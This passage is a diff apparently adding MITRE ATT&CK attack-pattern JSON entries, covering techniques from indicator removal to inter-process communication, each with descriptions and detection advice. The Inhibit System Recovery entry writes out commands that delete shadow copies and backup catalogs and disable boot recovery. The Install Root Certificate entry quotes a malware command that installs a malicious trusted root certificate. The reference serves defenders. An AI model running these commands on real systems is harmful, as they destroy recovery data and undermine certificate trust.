or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/005", + "external_id": "T1027.005", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Indicator Removal on Host", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Deletion", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Process: OS API Execution", + "Command: Command Execution", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication", + "File: File Metadata" + ], + "x_mitre_version": "1.2", + "modified": "2021-07-27T15:23:52.099Z", + "created": "2017-05-31T21:30:55.892Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "x_mitre_contributors": [ + "Brad Geesaman, @bradgeesaman", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070", + "external_id": "T1070", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/93.html", + "external_id": "CAPEC-93", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-06-20T22:09:22.559Z", + "name": "Indirect Command Execution", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Application control", + "Application control by file name or path" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1202", + "external_id": "T1202", + "source_name": "mitre-attack" + }, + { + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.", + "url": "https://twitter.com/vector_sec/status/896049052642533376" + }, + { + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.", + "url": "https://twitter.com/Evi1cg/status/935027922397573120" + }, + { + "source_name": "RSA Forfiles Aug 2017", + "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.", + "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-20T15:42:48.595Z", + "name": "Ingress Tool Transfer", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation" + ], + "x_mitre_version": "2.0", + "created": "2017-05-31T21:31:16.408Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1105", + "external_id": "T1105", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-14T19:33:52.512Z", + "name": "Inhibit System Recovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Metadata", + "Windows Registry: Windows Registry Key Modification", + "File: File Deletion" + ], + "x_mitre_version": "1.0", + "created": "2019-04-02T13:54:43.136Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Yonatan Gotlib, Deep Instinct" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1490", + "external_id": "T1490", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "source_name": "FireEye WannaCry 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Input Capture", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution", + "Process: Process Creation", + "File: File Modification", + "Process: Process Metadata" + ], + "x_mitre_version": "1.2", + "modified": "2021-08-24T18:21:08.497Z", + "created": "2017-05-31T21:30:48.323Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root", + "User" + ], + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056", + "external_id": "T1056", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/569.html", + "external_id": "CAPEC-569", + "source_name": "capec" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-12T16:34:06.412Z", + "name": "Input Prompt", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1141", + "external_id": "T1141", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/569.html", + "external_id": "CAPEC-569", + "source_name": "capec" + }, + { + "source_name": "OSX Malware Exploits MacKeeper", + "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", + "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + }, + { + "url": "https://logrhythm.com/blog/do-you-trust-your-computer/", + "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", + "source_name": "LogRhythm Do You Trust Oct 2014" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/", + "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", + "source_name": "Enigma Phishing for Credentials Jan 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Install Digital Certificate", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T17:47:46.409Z", + "created": "2021-03-17T20:32:13.793Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", + "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608/003", + "external_id": "T1608.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", + "source_name": "DigiCert Install SSL Cert" + }, + { + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "source_name": "Splunk Kovar Certificates 2017" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-21T21:11:06.761Z", + "name": "Install Root Certificate", + "created": "2017-05-31T21:31:42.750Z", + "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1130", + "external_id": "T1130", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/479.html", + "external_id": "CAPEC-479", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Root Certificate", + "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", + "url": "https://en.wikipedia.org/wiki/Root_certificate" + }, + { + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + }, + { + "source_name": "Kaspersky Superfish", + "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", + "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/" + }, + { + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "source_name": "SpectorOps Code Signing Dec 2017" + }, + { + "url": "https://objective-see.com/blog/blog_0x26.html", + "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", + "source_name": "objective-see ay mami 2018" + }, + { + "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck", + "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", + "source_name": "Microsoft Sigcheck May 2017" + }, + { + "source_name": "Tripwire AppUNBlocker", + "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", + "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Install Root Certificate", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-25T19:39:07.001Z", + "created": "2020-02-21T21:05:32.844Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps", + "Red Canary", + "Travis Smith, Tripwire", + "Itzik Kotler, SafeBreach" + ], + "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/004", + "external_id": "T1553.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/479.html", + "external_id": "CAPEC-479", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Root Certificate", + "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", + "url": "https://en.wikipedia.org/wiki/Root_certificate" + }, + { + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + }, + { + "source_name": "Kaspersky Superfish", + "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", + "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + }, + { + "source_name": "objective-see ay mami 2018", + "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", + "url": "https://objective-see.com/blog/blog_0x26.html" + }, + { + "source_name": "Microsoft Sigcheck May 2017", + "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck" + }, + { + "source_name": "Tripwire AppUNBlocker", + "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", + "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T18:59:38.256Z", + "name": "InstallUtil", + "created": "2017-05-31T21:31:27.510Z", + "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "revoked": true, + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1118", + "url": "https://attack.mitre.org/techniques/T1118" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx", + "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", + "source_name": "MSDN InstallUtil" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", + "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Installutil" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "InstallUtil", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:34:46.529Z", + "created": "2020-01-23T19:09:48.811Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Casey Smith" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/004", + "external_id": "T1218.004", + "source_name": "mitre-attack" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx", + "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", + "source_name": "MSDN InstallUtil" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", + "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Installutil" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Inter-Process Communication", + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T19:48:30.432Z", + "created": "2020-02-12T14:08:48.689Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "User", + "SYSTEM" + ], + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object 